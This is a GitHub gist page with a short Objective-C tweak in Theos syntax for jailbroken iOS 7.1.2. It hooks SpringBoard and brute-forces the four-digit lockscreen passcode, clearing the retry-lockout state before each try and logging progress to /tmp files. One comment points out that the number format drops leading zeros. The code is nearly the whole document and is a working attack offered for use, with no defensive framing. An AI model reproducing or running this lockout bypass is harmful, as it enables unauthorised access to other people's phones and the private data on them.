Created
November 9, 2016 16:03
-
-
Save aaronash/ab3914253e30b2d7d168393dc38d92dd to your computer and use it in GitHub Desktop.
Theos syntax iOS tweak for 7.1.2 to brute force the lockscreen pincode
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
@interface SBDeviceLockController : NSObject | |
+(id)sharedController; | |
-(BOOL)attemptDeviceUnlockWithPassword:(id)password appRequested:(BOOL)requested; | |
-(void)_clearBlockedState; | |
@end | |
%hook SpringBoard | |
-(void)applicationDidFinishLaunching:(id)application { | |
%orig; | |
dispatch_async(dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_DEFAULT, 0), ^{ | |
NSString *passcode = [NSString stringWithContentsOfFile:@"/tmp/passcode_crack" encoding:NSUTF8StringEncoding error:nil]; | |
NSLog(@"loaded passcode: %@", passcode); | |
for (int i = [passcode intValue]; i <= 9999; i++) { | |
[[%c(SBDeviceLockController) sharedController] _clearBlockedState]; | |
passcode = [NSString stringWithFormat:@"%d", i]; | |
[passcode writeToFile:@"/tmp/passcode_crack" atomically:true encoding:NSUTF8StringEncoding error:nil]; | |
if ([[%c(SBDeviceLockController) sharedController] attemptDeviceUnlockWithPassword:passcode appRequested: nil]) { | |
NSLog(@"FOUND IT! yo yo passcode: %@", passcode); | |
[passcode writeToFile:@"/tmp/passcode_crack_success" atomically:true encoding:NSUTF8StringEncoding error:nil]; | |
break; | |
} else { | |
NSLog(@"not this passcode: %@", passcode); | |
} | |
} | |
}); | |
} | |
%end |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
@aaronash pretty sure in line 16 the format
%04d
should be used to produce valid passcodes with leading zeroes wheni < 1000